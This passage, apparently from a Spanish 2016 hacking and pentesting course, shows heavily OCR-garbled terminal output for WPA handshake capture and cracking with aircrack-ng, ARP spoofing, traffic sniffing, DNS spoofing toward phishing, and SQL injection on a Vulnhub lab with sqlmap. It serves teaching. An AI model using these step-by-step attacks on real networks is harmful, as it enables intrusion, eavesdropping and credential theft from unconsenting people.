F8:0F:D9 80:4E:81:7 -1 Be- 0 €] 116

F8:0F:D9 68:3E:34: -1 Be- 0 €] 144

F8:0F:D9 E8:61:7E: -1 Be- 0 €] 143

F8:0F:D9 6C:AD:F8: -1 Be- 0 €] 134

F8:0F:D9 24:0A8:11: -1 Be- 0 €] 136

F8:0F:D9 B0:E3:B2: -1 Be- 0 €] 1406

F8:0F:D9 JC:C7:09: -26 Be- Be €] 1253 CA_

F8:0F:D9 20:16:08: -31 Be- Be €] 49

F8:0F:D9 4C:74:03: -63 Be- 6 €] 115

F8:0F:D9: EG:CE:C3: -67 0 - Be €] 13

B88:03:55: . BO:7A:55: -1 le- 0 €] 1

(not associated) A4 7733 -79 -1 €] 10 WLAN_BGDD

Figura 5.4: Resultados de airodump

Deberiamos dejar el proceso en una terminal aparte para que vaya procesando paquetes. Si
nos fijamos, la red CA_ tiene multiples direcciones MAC asociadas. Esto significa que esa red
tiene muchas maquinas conectadas en ese momento, por lo que escogeremos una de ellas
para el siguiente proceso.

En una terminal nueva vamos a realizar el proceso de captura de hanshake. Como este
protocolo se ejecuta cuando se empieza la conexion entre dos dispositivos, y en este momento
todos estan conectados, haremos una especie de pequefio ataque DoS para provocar la
reautentificacion y asi poder capturar el handshake desde el airodump que tenemos en
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segundo plano. Para ello especificaremos la MAC de la red objetivo, junto con la MAC del
aparato que vamos a desconectar. Esto lo haremos con aireplay-ng, el -0 para decir que
queremos una desconexion, la interfaz en modo promiscuo y la cantidad de paquetes:

Archivo Editar Ver Buscar Terminal Ayuda

CH 1 ][ Elapsed: 2 mins 1[ 2616-65-24 16:00 ][ WPA handshake | F8:6F:D9: ]

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

F8:6F:D9: -60 100 1414 1158 4 1 54e WPAZ CCMP PSK CA_

88:03:55: -82 0 1323 125 3 1 54e WPA CCMP PSK VodafoneBE36

BSSID STATION PWR  Rate Lost Frames Probe

F8:0F:DS:3A: 80:4E:81:9D: 1 Be- 0 0 80

F8:0F :D9:3A: 68:3E:34:38 -1 Qe- 0 Q 114

FB8:GF:DS:3A: E8:61:7E:BF -1 Oe- 0 0 111

F8:6F:D9:3A: 6C:AD:F8:6C -1 Qe- 0 [c] 105

F8:0F:D9:3A: 24:0A:11:04 -1 Qe- 0 Q le8

F8:6F:D9:3A: GB:E3:B2:C3 -1 Qe- 0 [c] 168

F8:0F:D9:3A: 7C:C7:09:2F -26 Qe- OGe Q 1132 CA_

F8:6F:D9:3A: 20:16:D8:2E -27 Oe- le [c] 34

F8:0F:D9:3A: 4C:74:03:DF -63 Qe- 6 Q 89

FB:GF:DS:3A: EQ:CE:C3:82 -67 0 - Oe [¢] 10

88:03:55:08: 50:7A:55:74 -1 le- 0 Q 1

88:03:55:08:: C4:36:6C:15 -1 le- @ [¢] 1

(not associated) 64:BC:0C:0E -82 -1 [¢] 5

(not associated) 44:D4 ;E@:51. -86 0 -1 [¢] 3 VodafoneEBDG,ClientsOnyar

(not associated) A4 :77:33:DC: -79 -1 [¢] 18 WLAN_BGDD
root@kali: ~ oo

Archivo Editar Ver Buscar Terminal Ayuda

root@kali:~#¥ aireplay-ng -0 5 -a F8:0F:D9:3A: -¢ 7C:C7:09:2F: wlanGmon

15:58:27 Waiting for beacon frame (BSSID: F8:0F:D9:3A:6F:0F) on channel 1

15:58:27 Sending 64 directed DeAuth. STMAC: [7C:C7:089:" "] [63]65 ACKs]

15:58:28 Sending 64 directed DeAuth. STMAC: [7C:C7:89: ] [ 1]64 ACKs]

15:58:28 Sending 64 directed DeAuth. STMAC: [7C:C7:089: 1 [ 664 ACKs]

15:58:29 Sending 64 directed DeAuth. STMAC: [7C:C7:089: ] [ 9|64 ACKs]

15:58:30 Sending 64 directed DeAuth. STMAC: [7C:C7:089: ] [30]65 ACKs]

root@kali:~# I

Figura 5.5: Ejecucion de aireplay-ng y captura de handshake

Como vemos, en la ventana que hemos dejado activa con airodump-ng, ha aparecido el
handshake capturado. Ya esta la mitad del trabajo hecho. Ahora viene la parte donde hay que
tener un poco de suerte y sobretodo paciencia.

Dado que hemos guardado todo lo dumpeado en un archivo .cap, lo abriremos con aircrack-ng
y un diccionario con miles de posibles palabras para intentar adivinar la contrasefia que
esconde el handshake. Para ello especificaremos el diccionario con —w y el archivo .cap.

Después de indicarle la red que queremos atacar que guarda el archivo, trabajara por fuerza
bruta vy si existe la contrasefa en el diccionario nos la mostrara.
root@kali: # alrcrack-ng -w diccionario guardadoDeDatos.cap

Opening guardadoDeDatos.cap
Read 16361 packets.

# BSSID ESSID Encryption
1 F8:0F:D9 CA_ WPA (1 handshake)
2 88:03:55 VodafoneBE3 WPA (0 handshake)

Index number of target network ? 1

Opening guardadobeDatos.cap
Reading packets, please wait...

Aircrack-ng 1.2 rc3
[B0:80:88] 1 keys tested (814.83 k/s

| KEY FOUND! [ XXXX123456788 ] I

Master Key : CF C5 1@ @3 2C 64 09 11 48 66 48 FC A2 BE AB EA
12 36 7E 15 B1 FD 2C DF 48 54 65 F6 7B 04 53 20

Transient Key : FS 94 5E D5 43 16 83 4C 72 3E DD AA 35 C8B E9 EA
86 DE 5B 89 AE 44 4A GE FB 98 08 AC 82 5F 5E 89
55 75 E5 52 E3 D1 EB 6D E6 18 85 B4 22 E8 96 8C
G5 BE 9C 02 8D 05 @6 C7 61 27 A4 B3 7D 95 SD 30

EAPOL HMAC : 8B 3C 3C 67 90 7B D5 4C 7E 7D
root@kali: # 11

Figura 5.6: Ejecucion de aircrack-ng y obtenicion de la coontrasefia
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5.2 Ejemplo de arpspoofing

A continuacion se va a proceder a realizar una prueba de envenenamiento de tablas ARP, con
el objetivo de analizar todo el tréfico de Internet de una méaquina de la red, mediante un MITM
entre el equipo victima y un punto de acceso. El escenario es del de una maquina fisica con
Kali Linux instalado (atacante), otra maquina fisica con Windows 8.1 (victima) y un punto de
acceso (un router comun), conectados todos a la misma red.

Primero de todo habra que analizar la red para encontrar la IP de la victima asi como la del
punto de acceso. Como siempre haremos un ‘if config’ para saber nuestra IP también.

root@kali:~# ifconfig

2th@ Link encap:Ethernet HWaddr 8c:89:a5:09:b6:7e
UP BROADCAST MULTICAST MTU:150@ Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1G00
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
Interrupt:17

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUMNING MTU:65536 Metric:1
RX packets:32 errors:0 dropped:0 overruns:@ frame:0@
TX packets:32 errors:0 dropped:0 overruns:0@ carrier:0
collisions:0 txqueuelen:@
RX bytes:1776 (1.7 KiB) TX bytes:1776 (1.7 KiB)

wlant Link encap:Ethernet Hwaddr Gc:d2:92:2e:7e:b7
inet addr:192.168.1.34 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::ed2:92ff:fe2e:7eb7/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:150@ Metric:1
RX packets:236920 errors:0 dropped:0 overruns:@ frame:0
TX packets:130156 errors:® dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1G00
RX bytes:226726008 (216.2 MiB) TX bytes:56265023 (53.6 MiB)

Figura 5.7: Ifconfig de red

root@kali:~# nmap -sP 192.168.1.1-255

Starting Nmap 7.01 ( https://nmap.org ) at 2016-05-27 21:57 CEST
Nmap scan report for 192.168.1.1

Host is up (0.059s latency) .

MAC Address: DO:0E:DS:3A:6F:06 (Taicang T&W Electronics)

Nmap scan report for 192.168.1.33

Host is up (0.0059s latency) .

MAC Address: 00:11:05:D0:64:7C (Sunplus Technology)

Nmap scan report for 192.168.1.35

Host is up (0.026s latency) .

MAC Address: 7C:C7:09:2F:32:4A (Shenzhen Rf-link Elec&technology.)
Nmap scan report for 192.168.1.36

Host is up (0.026s latency) .

MAC Address: 6C:AD:F8:6C:6E:5F (AzureWave Technology)

Nmap scan report for 192.168.1.39

Host is up (0.08ls latency).

MAC Address: F8:1A:67:18:5F:EF (Tp-l1ink Technologies)

Nmap scan report for 192.168.1.42

Host is up (0.011ls latency) .

MAC Address: EQ@:CE:C3:82:47:C0 (Askey Computer)

Nmap scan report for 192.168.1.48

Host is up (0.073s latency) .

MAC Address: 20:16:08:2E:89:13 (Liteon Techrnoleogy)

Nmap scan report for 192.168.1.34

Host is up.

Nmap done: 255 IP addresses (B hosts up) scanned in 5.12 seconds
root@kali:~# JJ

Figura 5.8: Nmap para escaneo de red
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Como vemos el punto de acceso (la IP del router) es la 192.168.1.1 y la de la victima es
192.168.1.48.

Antes de redirigir el trafico, hemos de habilitar el ‘ipforwarding’ para que se permita el trafico
hacia nuestro PC. Para ello ejecutaremos el siguiente comando:

roof@kali: # echo 1 = fpr"ocféysfnetfipv'-'fl;”ip_forwar'd
rootakali:~# N0

Figura 5.8: Habilitacion del ipforwarding
Ahora ya esta todo listo para ejecutar la herramienta arpspoof. El ataque se ejecutara en dos
pasos. El primero indicara la interfaz de la maquina atacante, la IP del punto de acceso y la de

la victima. Se trata de modificar la tabla ARP del router para que mande todo el trafico de la
victima, a la maquina del atacante y viceversa.

root@kali:~# arpspoof -1 wlan@ -t 192.168.1.48 192.168.1.1

c:d2:92:2e:7e:b7 20:16:d8:2e:89:13 G806 42: arp reply 192.168.1.1 is-at c:d2:92:2e:7e:b7y
c:d2:92:2e:7e:b7 20:16:d8:2e:89:13 0806 42: arp reply 192.168.1.1 is-at c:d2:92:2e:7e:b7y
c:d2:92:2e:7e:b7 20:16:d8:2e:89:13 0806 42: arp reply 192.168.1.1 is-at c:d2:92:2e:7e:h7
c:d2:92:2e:7e:b7 20:16:d8:2e:89:13 G806 42: arp reply 192.168.1.1 is-at c:d2:92:2e:7e:b7y
c:d2:92:2e:7e:b7 20:16:d8:2e:89:13 0806 42: arp reply 192.168.1.1 is-at c:d2:92:2e:7e:b7y
c:d2:92:2e:7e:b7 20:16:d8:2e:89:13 0806 42: arp reply 192.168.1.1 is-at c:d2:92:2e:7e:h7
c:d2:92:2e:7e:b7 20:16:d8:2e:89:13 G806 42: arp reply 192.168.1.1 is-at c:d2:92:2e:7e:b7y
c:d2:92:2e:7e:b7 20:16:d8:2e:89:13 0806 42: arp reply 192.168.1.1 is-at c:d2:92:2e:7e:b7y
c:d2:92:2e:7e:b7 20:16:d8:2e:89:13 0806 42: arp reply 192.168.1.1 is-at c:d2:92:2e:7e:h7
c:d2:92:2e:7e:b7 20:16:d8:2e:89:13 G806 42: arp reply 192.168.1.1 is-at c:d2:92:2e:7e:b7y
c:d2:92:2e:7e:b7 20:16:d8:2e:89:13 0806 42: arp reply 192.168.1.1 is-at c:d2:92:2e:7e:b7y
c:d2:92:2e:7e:b7 20:16:d8:2e:89:13 0806 42: arp reply 192.168.1.1 is-at c:d2:92:2e:7e:h7
c:d2:92:2e:7e:b7 20:16:d8:2e:89:13 G806 42: arp reply 192.168.1.1 is-at c:d2:92:2e:7e:hb7y
c:d2:92:2e:7e:b7 20:16:dB:2e:89:13 0806 42: arp replv 192.168.1.1 is-at c:d2:92:2e:7e:b7

Figura 5.9: Uso de arpspoof, primera parte.

Esta ventana la dejaremos ejecutando en segundo plano, puesto que ha de estar envenenando
las tablas contantemente para que surja efecto el ataque.

El segundo paso es completamente igual per al revés:

root@kali:~# arpspoof -1 wlan® -t 192.168.1.1 192.168.1.48

c:d2:92:2e:7e:b7 dBO:e:d9:3a:6f:6 GBO6 42: arp reply 192.168.1.48 is-at c:d2:92:2e:7e:b7
c:d2:92:2e:7e:b7 dB@:e:d9:3a:67:6 0806 42: arp reply 192.168.1.48 is-at c:d2:92:2e:7e:b7
c:d2:92:2e:7e:b7 dB:e:d9:3a:6f:6 G806 42: arp reply 192.168.1.48 is-at c:d2:92:2e:7e:b7
c:d2:92:2e:7e:b7 dB@:e:d9:3a:67:6 0806 42: arp reply 192.168.1.48 is-at c:d2:92:2e:7e:b7
c:d2:92:2e:7e:b7 dB:e:d9:3a:6f:6 G806 42: arp reply 192.168.1.48 is-at c:d2:92:2e:7e:b7
c:d2:92:2e:7e:b7 dO:e:d9:3a:67:6 GBO6 42: arp reply 192.168.1.48 is-at c:d2:92:2e:7e:b7
c:d2:92:2e:7e:b7 dB@:e:d9:3a:67:6 0806 42: arp reply 192.168.1.48 is-at c:d2:92:2e:7e:b7
c:d2:92:2e:7e:b7 dO:e:d9:3a:67:6 GBO6 42: arp reply 192.168.1.48 is-at c:d2:92:2e:7e:b7
c:d2:92:2e:7e:b7 dB@:e:d9:3a:67:6 0806 42: arp reply 192.168.1.48 is-at c:d2:92:2e:7e:b7
c:d2:92:2e:7e:b7 dBO:e:d9:3a:6f:6 GBO6 42: arp reply 192.168.1.48 is-at c:d2:92:2e:7e:b7
c:d2:92:2e:7e:b7 dB@:e:d9:3a:67:6 0806 42: arp reply 192.168.1.48 is-at c:d2:92:2e:7e:b7
c:d2:92:2e:7e:b7 dB:e:d9:3a:6f:6 GBO6 42: arp reply 192.168.1.48 is-at c:d2:92:2e:7e:b7

Figura 5.10: Uso de arpspoof, segunda parte.

También lo dejaremos en segundo plano. En este momento, el ataque ha tenido éxito, todo el
trafico entre Internet y la victima pasa por el PC del atacante. Con este sencillo proceso, piedra
angular de los ataques de red, se puede analizar el trafico y extraer todo tipo de informacion.
Por ejemplo, se puede hacer simplemente con whireshark o con ayuda de algunas
herramientas especificas para dichos procesos.
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Por ejemplo, con la herramienta urlsnarf se mostrara por pantalla todo el trafico (peticiones)
que la victima esta realizando, o con la herramienta driftnet, que nos mostrara por pantalla
todas las imagenes que el navegador de la victima esta cargando en tiempo real.

root@kali:~# urlsnart

Jdrlsnarf: listening on wlan@ [tcp port BO or port B0BO or port 3128]

192.168.1.48 - - [27/May/2016:21:52:19 +0200] "GET http://ads.stickyadstv.com/www/delivery/swflndex.
ohp?reqlype=AdsSetupéprotocolVersion=2.0&zoneld=843B81&sm tagid=1728&B6730020359461450000 HTTP/1.1"
- - "http://www.msn.com/es-es/ ?pc=SK2Maocid=SK2MDHP&osmkt=es-as" "Mozilla/5.0 [compatible; MSIE 10.C
; Windows NT 6.2; WOWG4; Trident/6.0)"

192.168.1.48 - - [27/May/2016:21:52:21 +0200] "GET http://ip-info.ff.avast.com/vl/info HTTP/1.1" -
"-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"

192.168.1.48 - - [27/May/2016:21:52:22 +0200] "GET http://www.google-analytics.com/__utm.gif?utmn=6:

34&utmac=M0-1405551 -28&utmwy=4 .4sh&utmp=view/fa-2015/es/popup/vps_updated&utmcc=_ utma%30999.999.99¢
.999.999. 1%3Bautmvid=0xe3954 f430d9dcc66&utmr=- HTTP/1.1" - - "-" "avast! SimpleHTTP"

192.168.1.48 - - [27/May/2016:21:52:22 +0200] "GET http://www.google-analytics.com/__ utm.gif?utmn=2¢

500&utmac=M0-1405551 -28&utmwv=4.4shautmp=view/fa-2015/es/popup/submitted%3a%2080&utmcc=_ utma%30999.

999.999.999.999. 1%3B&utmvid=0xe3954f430d9dccB6&utmr=- HTTP/1.1" - - "-" "avast! SimpleHTTP"

192.168.1.48 - - [27/May/2016:21:52:22 +0200] "GET http://www.google-analytics.com/_ utm.gif?utmn=1¢

169&utmac=M0-1405551 -28&utmwv=4 . 4shautmp=view/fa-2015/es/popup/DoToasterdutmcc=_ utma%30999.999.999.

999.999. 1%3B&utmvid=0xe3954f430d9dccb6a&utmr=- HTTP/1.1" - - "-" "avast! SimpleHTTP"

192.168.1.48 - - [27/May/2016:21:52:33 +0200] "GET http://ip-info.ff.avast.com/vl/info HTTP/1.1" -
"-" "avast! Antivirus"

192.168.1.48 - - [27/May/2016:21:52:33 +0200] "POST http://vl.ff.avast.com/vl/touch HTTP/1.1" - - "-

192.168.1.48 - - [27/May/2016:21:52:45 +0200] "GET http://log.adaptv.advertising.com/log?event=error

SsellerDeal Id=&lastBid=&errNo=8000&pricingInfo=&nF=&adSourceld=7239444bidId=7544756afppld=bexSId=58¢
519693&adSourceMediald=3109315804359397&adSpot Id=&pet=preroll&pod=-2&position=-2&marketplaceld=&adP1
anld=-2&adaptac=&kev=adkarmafbuverld=5047&campaianld=75608&paaellrl=www.msn.com%2Fes-eskadapletD=msn.

Figura 5.11: Uso de urlsnarf

root@kali: ~

[driftnet]

warning: image data too small (43 bytes)

[driftnet] warning: image data too small (43 bytes) to

:51:43 2016 [driftnet] warning: image data too small (43 bytes) to
:51:43 2016 [driftnet] warning: image data too small (43 bytes) to
:51:48 2016 [driftnet] warning: image data too small (42 bytes) to
vie may 27 21:52:06 2016 [driftnet] warning: image data too small (43 bytes) to
:52:06 2016 [driftnet] warning: image data too small (43 bytes) to
:52:21 2016 [driftnet] warning: image data too small (43 bytes) to
vie may 27 21:52:21 2016 [driftnet] warning: image data too small (43 bytes) to
vie may 27 21:52:23 2016 [driftnet] warning: image data too small (35 bytes) to

:52:23 2016 [driftnet] warning: image data too small (35 bytes) to

Figura 5.12: Uso de driftnet

Una alternativa grafica a arpspoof es la herramienta Ethercap, en la cual podemos hacer las
mismas tareas de MITM de manera mas intuitiva, escogiendo unos objetivos y pudiendo
realizar multitud de acciones.
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ettercap 0.8.2 o0

Start Targets Hosts View [[NIWM Filters Logging Plugins Info

Listening on

wlan0 -> 0C:D2:92:2E: 7E:B7
192.168.1,34/255.255.255.0
fe80red2:92f fe2e:7eb7/64

SSL dissection needs a valid ‘redir_command_on' script in the etter.conf file
Privileges dropped to EUID 65534 EGID 65534.

33 plugins
42 protocol dissectors
57 ports monitored

20388 mac vendor fingerprint

1766 tep OS fingerprint

2182 known services

Lua: no scripts were specified, not starting up!

S tarting Unified sniffing

Figura 5.13: Ejemplo menu ettercap.

5.3 Pequeiia demostracion de DNSSpoofing

El MITM a través del envenenamiento de tablas ARP (solo en IPv4) es probablemente el
método mas usado para controlar el trafico de una maquina de la misma red, pero ya que
controlamos los paquetes, ¢por qué no redireccionarlos a un servidor comprometido, por
ejemplo, para hacer acciones de ingenieria social? este es el objetivo de la técnica de
DNSSpoofing.

Para llevar a cabo este ataque, primero debemos ejecutar el ataque anterior de arpspoof.
Después debemos crear un fichero .txt con la IP que queremos derivar (en este caso la
maquina del atacante) segln la pagina web que esté buscando la victima. De este modo, las
resoluciones DNS estaran a nuestra merced y es bastante improbable que la victima se
percate de que sus resoluciones quedan en local.

Abrir « || [+1 hasil:sl Guardar | | = - o x
~(Escritorio

[L92.168.1.34 *. facebook.com
152.168.1.34 facebook.com

no * || Anchura del tabulador; & = Lnl, Coll - INS

Figura 5.14: Fichero hosts

Como vemos se ha creado un simple fichero para redireccionar todas las resoluciones de
facebook. Después simplemente, con ejecutar la herramienta dnsspoof con los parametros
adecuados, ejecutaremos el ataque:
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root@kali:~/Escritorio# dnsspoof -1 wlan®@ -f hosts
dnsspoof: listening on wlan® [udp dst port 53 and not src 192.168.1.34]

192.168.1.42.39261 = B80.58.61.250.53: 315931+ A? facebook.com
192.168.1.42.39261 = B0.58.61.254.53: 31831+ A?Y facebook.com
192.168.1.42.39261 = B0.58.61.250.53: 31931+ A? facebook.com
192.168.1.42.39261 = B0.58.61.254.53: 31831+ A? facebook.com
192.168.1.42.42230 > B0.58.61.250.53: 42574+ A? www.facebook.com
192.168.1.42.42230 = 80.58.61.250.53: 42974+ A? www.facebook.com
192.168.1.42.676]1 = B0.58.61.250.53: 22164+ A? www.Tacebook.com
192.168.1.42.676]1 = B0.58.61.250.53: 22164+ A? www.Tacebook.com
192.168.1.42.45679 = B0.58.61.250.53: 3882+ A? pixel.facebook.com
592.168.1.42.45679 > 80.58.61.250.53: 3882+ A? pixel.facebook.com

Figura 5.15: Uso dnsspoof

Con éste sencillo modo podemos redireccionar a una web con intenciones de phishing (por
ejemplo, el método explicado en el apartado 2) para recaudar informacion de la victima.
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6. Sequridad en aplicaciones web y webservers

6.1 Comprometiendo un servidor web con inyecciones SOL.

El siguiente ejercicio esta basado en los laboratorios online (www.vulnhub.com) especificos
para tareas de demostracion como las que conciernen este documento. Mediante una imagen
de una maquina virtual .OVA, se ha instalado un servidor web simulador real de una pagina de
venta de discos. Dicho servidor se sabe que esta afectado por las siguientes vulnerabilidades
gue nos interesan, entre otras:

e SQL Injection (Error-based y Blind)
e XSS (Reflected y Stored)

Una vez descargada e instalada la imagen, se pone en marcha y se deja en segundo plano.
Haciendo un ifconfig sabremos que IP local tiene, a la cual podemos acceder para comprobar
el aspecto que tiene la web de e-comerce.

J http://192.1...?login=user % |

€ 192.168.1.38/account.php?login=use v C||Q Search B8 ¥+ & =

[ Most Visited ¥ “Offensive Security N Kali Linux % Kali Docs % Kali Tools !_!Exploit-DB \Aircrack-ng

Invalid username, please try again.

sdfs@gmail

Figura 6.1: Servidor web local: pantalla de inicio de sesion.

Dado que no tenemos mas que la vulnerabilidad existente (que no es poco) vamos a iniciar
Burp Suite con el fin de analizar el trafico. Pero primero, debemos redireccionar todo el trafico
de nuestra maquina Kali hacia un proxy interno. Para ello configuraremos como en la imagen la
conexion de red de nuestro navegador:
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Connection Settings

Configure Proxies to Access the Internet
' No proxy
) Auto-detect proxy settings for this network
() Use system proxy settings

® Manual proxy configuration:

| N
HTTP Proxy: ILoca[host I Port: 8080 |,

@|U§e this proxy server for all protocol.s|

| Remote DNS
No Proxy for:

localhost, 127.0.0.1

Example: .mozilla.org, .net.nz, 192 168.1.0/24

) Automatic proxy configuration URL:

" Do not prompt for authentication if password is saved

| Help | | Cancel ‘| oK

Figura 6.2: Configuracion de red del navegador

Una vez hecho esto, podemos iniciar Burp Suite. Una vez dentro, deberemos comprobar el
servidor proxy que estamos usando, a través de la pestafia Proxy -> Options. Después
interceptaremos todo el trafico dando al boton ‘Intercept is off’ en la pestafia Intercept (en caso
de que no esté activado ya).

Burp Suite Free Edition v1.6.01 e @ 0

Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner T Intruder T Repeater I Sequencer T Decoder T Comparer T Extender T Options TAIerts ]

J Inter(eptT HTTP history ]’W‘ebSc(kets history I Options w

Forward Drop f Intercept is on ] Action Comment this item -+ |lj

IS

Figura 6.3: Interceptando con Burp Suite: configuracion bésica.

Ahora si intentamos acceder al servidor anterior, la aplicacién nos captara todos los paquetes
referentes al intercambio de informacion. Nos interesa analizar esos paquetes (figura 6.4). Para
que el paquete finalice y se complete, deberemos hacer clic en ‘Forward’

En la pestafia HTTP history, vemos los paquetes que se han capturado al intentar navegar por
la web de ‘Seattle Sounds’. Deberemos afadir como objetivo el primer GET para empezar a
indagar. Haciendo clic en ‘Add to scope’ (figura 6.5).
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Burp Intruder Repeater Window Help

[Target T P roxy T Spider T Scanner T Intruder T Repeater T Sequencer I Decoder T Comparer T Extender I Options Inler‘ts ]

j I|'.t+|'-:+|:-tT HTTP histary TwebSockets histary T Options ]

[#] Request to http://192.168.1.38:80

l Forward J l Drop J [ Intercept is on | Action

Raw | Params | Headers | Hex

GET / HTTR/1.1

Host: 192.168.1.38

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel,/38.8.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.1.38/account.php?login=user

Cookie: level=l

Connection: keep-alive

Figura 6.4: Paquete GET interceptado por Burp Suite.

Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options Tnler‘ts ]

Intercept | HTTP history T WebSockets history T Options ]

‘ Filter: Hiding CS5S. image and general binary content

# & |Host | Method | URL | Params | Edited | Status | Length | MIME type | Extension | Title
1 http://192.168.1.38 GET ! (] O
2 http://192.168.1.38 GET Jproducts. php?type=1 4] (0] http://192.168.1.38/
3 http:/f192.168.1.38 GET Jaccount.php 8] 0] Add to scope
4 http://192.168.1.38 GET /blog.php (] ] =
5 http://192.168.1.38 GET Jproducts. php?type=2 @ O Spider from here
Do an active scan
Send to Intruder Ct

Figura 6.5: Investigando los paquetes GET.

En la pestafia ‘Target’, haciendo clic derecho sobre la IP, clicaremos en ‘Spider this host’. Esto
nos afiadira informacion util que podremos ver afiadiéndose en la misma pestafia de ‘Target’
donde nos encontramos.

Burp Intruder Repeater Window Help

_[Target T P o, T Spider T Scanner T Intruder T Repeater T Sequencer

_[ Site map T Scope ]

Filter: Hiding not found items; hiding CSS, image and general binary con

Expand branch

RSN Y Ut Y

http://192. 168, 1 22 SRR
s http:/f192.168.1.38/ B2 188.1.}
% about.phl " permave from scope H2.168.1.:
account. b2 :
0 bl I | spider this host p2.168.1.:
slog. php Actively scan this hos B2 168.1.:
# & downloaq TFHVYER =Rall ' B2 168.1.:
- @ iI'IlI|E!K.|:I|'I| Fassiv | scan this host 32.168.1
* i@ level.php| Engagement tools [Pro version only] * Lo 1651
> @ |:'"'_:":|"":t5 Compare site maps p2.168.1
[ terms.pH 2.165.1
2 1681

o
—_

Figura 6.6: Indicando al Spider la IP que debe analizar.
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Si nos fijamos, se puede detectar un error de configuracion sql que pueda dar lugar a una
inyeccién. Concretamente, si vamos a la url de ‘Products’ podemos ver que se pasa el
parametro sgl (en base .php) sin normalizar si clicamos en un producto cualquiera, dando lugar
a un error si introducimos un caracter invalido:

VMLl L Se T Rl s~ 77 o=
%

€ 192.168.1.38/details.php?prod=>5&type=2

Figura 6.7: URL vulnerable a SQL Injection
| http://192...7=5&type=2 % | *

€ ) @ 192.168.1.38/details.php?prod'=5&type=: v & ||Q search Ww B

[5] Most Visited ¥ “Offensive Security \Kali Linux \Kali Docs \Kali Tools ﬂExploit-DB ‘Aircrack—ng

Current level: 1 Go to Level 2

DB Error, could not query the database MySQL Error: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right syntax to
use near " atline 1

Figura 6.8: Caracter invalido introducido en la URL provocando la exposicion del fallo de la BD.

Por lo tanto nos interesa capturar la cabecera con el c6digo vulnerable y analizarla. Para ella la
guardaremos desde el Burp Suite, en la pestafa ‘Intercept -> Raw’ y en “save ltem’. De hecho
cualquier linea de cualquier producto vale (figura 6.9). Como vemos también, se guarda la
cabecera con algunos detalles mas. (figura 6.9).

LU SuIE RS LU Y

Burp Intruder Repeater Window Help | Abrir v | || E=r Guardar [ = || @ @ @
— S ~[Escritario L L=
[ Target spider | Scanner [ intruder | Repeater | Sequencer | Decoder | comparer | B ZIELEMENT request  (#PCDATA]
N | HTTP histary | WebSackets histary | optians | <!ATTLIST request base64 (true|false) "false"s
<!ELEMENT status (#PCDATA)=

|#] Request to http://192.168.1.38:30 <!ELEMENT responselength (#PCDATA)=>

P e <!ELEMENT mimetype (#PCDATA)=>
| Forward || Drop || Interceptison ||  Action | <IELEMENT response [#PCDATA}>

<!ATTLIST response base64 (true|false) "false's
R Parame [ Headers [ e <!ELEMENT comment (#PCDATA)> ‘
GET /details.php?prod=4&type=1 HTTP/1.1 1>
Host: 192.168.1.38 <items burpVersion="1.6.01" exportTime="Tue May 31 18:12:38 CEST
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefo 2018">
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,%/%;q=0.8 <item=>
Accept-Lanquage: en-US.en:a=0.5 <time=Tue May 31 19:09:47 CEST 2016</time=>
Accept-Enc send to Spider <url=<![CDATA[http://192.168.1.38/details.php?
Referer: h Do an active scan prod=4&type=1]]></url=
Cookie: Le Send to Intruder Ctrl+l <host ip="192.168.1.38">192.168.1.38</host>
Connection Send to Repeater Ctrl+R <port>80</port>
Cache- Cont send to Sequencer <protocol=http</protocol>
Send to Comparer <method>GET</method>
Send to Decoder <path><![CDATA[/details.php?prod=4&type=1]]></path>

s <extensionsphp</extensions

<request baseb4="true"><![CDATA

Request in browser
Engagement tools [Pro version only] >
Change request method

change body encoding

Copy URL

[RBVUICIkZXRhaWxzL nBocDSwemOkP TQmdHLwZ TOx IEhUVFAVMS4xDQpIb3NOOiAxK
requests>
<status

e ot command <res ength></responselengths
o <mimetype></mimetype>

Copy to file <response baseB4="t rue"></response>

Paste from file <comment></comment>

Save item </item>

Don't intercept requests > </items]

Do intercept » S

nvert selection » XML ¥ Anchura deltabulador: 8 ¥ Ln 42, Col9 - INS

Figura 6.9: Guardado de cabecera GET, Figura 6.10: Fichero guardado.

vulnerable a SQL Injection .

45| Pagina



Seguridad en redes y sistemas: Técnicas y conceptos sobre hacking y pentesting. Producto 2016

Ahora que tenemos la cabecera, cambiamos de herramienta, utilizando sqlmap. Lo primero
serd averiguar qué tipo de base de datos se esta utilizando ( Postegre, Mysq|, etc.). Para ello
introduciremos el siguiente comando pasandole como parametro principal, el fichero acabado
de guardar:

rootgKali-2-VH: - /Escritorio# sqlmap -r consulta

1.0-dev-nongit-20160531

[!] legal disclaimer: Usage of sqlmap for attacking targets without pricr mutual consent 1
s illegal. It is the end user's responsibility to obey all applicable local, state and fec
eral laws. Developers assume no liability and are not responsible for any misuse or damage
caused by this program

[*] starting at 19:23:00
Figura 6.10:

A medida que sglmap vaya analizando el archivo, nos preguntard si deseamos hacer unas
pruebas u otras (nivel de riesgo por ejemplo). Como vemos, nos detecta que la base de datos
es MySQL y ademas, nos reafirma la vulnerabilidad en la variable ‘prod’ que ya hemos
detectado previamente. Si aceptamos hacer todos los test, vemos como efectivamente detecta
las vulnerabilidades que el laboratorio nos decia sobre SQL.

sqlmap identified the following injection point(s) with a total of 260 HTTP(s) requests:
Parameter: prod (GET)
—> Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

